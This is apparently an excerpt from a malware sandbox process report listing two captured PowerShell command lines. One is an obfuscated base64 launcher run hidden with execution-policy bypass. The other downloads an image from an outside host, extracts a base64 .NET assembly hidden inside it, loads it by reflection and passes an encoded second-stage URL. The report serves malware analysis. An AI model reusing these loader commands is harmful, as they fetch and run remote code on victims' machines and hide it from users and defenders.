JWgRidYoNfCmÇjyDKQrJWgRidYoNfCmÇjyDprJWgRidYoNfCmÇjyDrJWgRidYoNfCmÇjyD==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('rJWgRidYoNfCmÇjyD','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2620
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LnliYS8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

        2752

Process contents

No process loaded Click on a process in the tree above to load its data.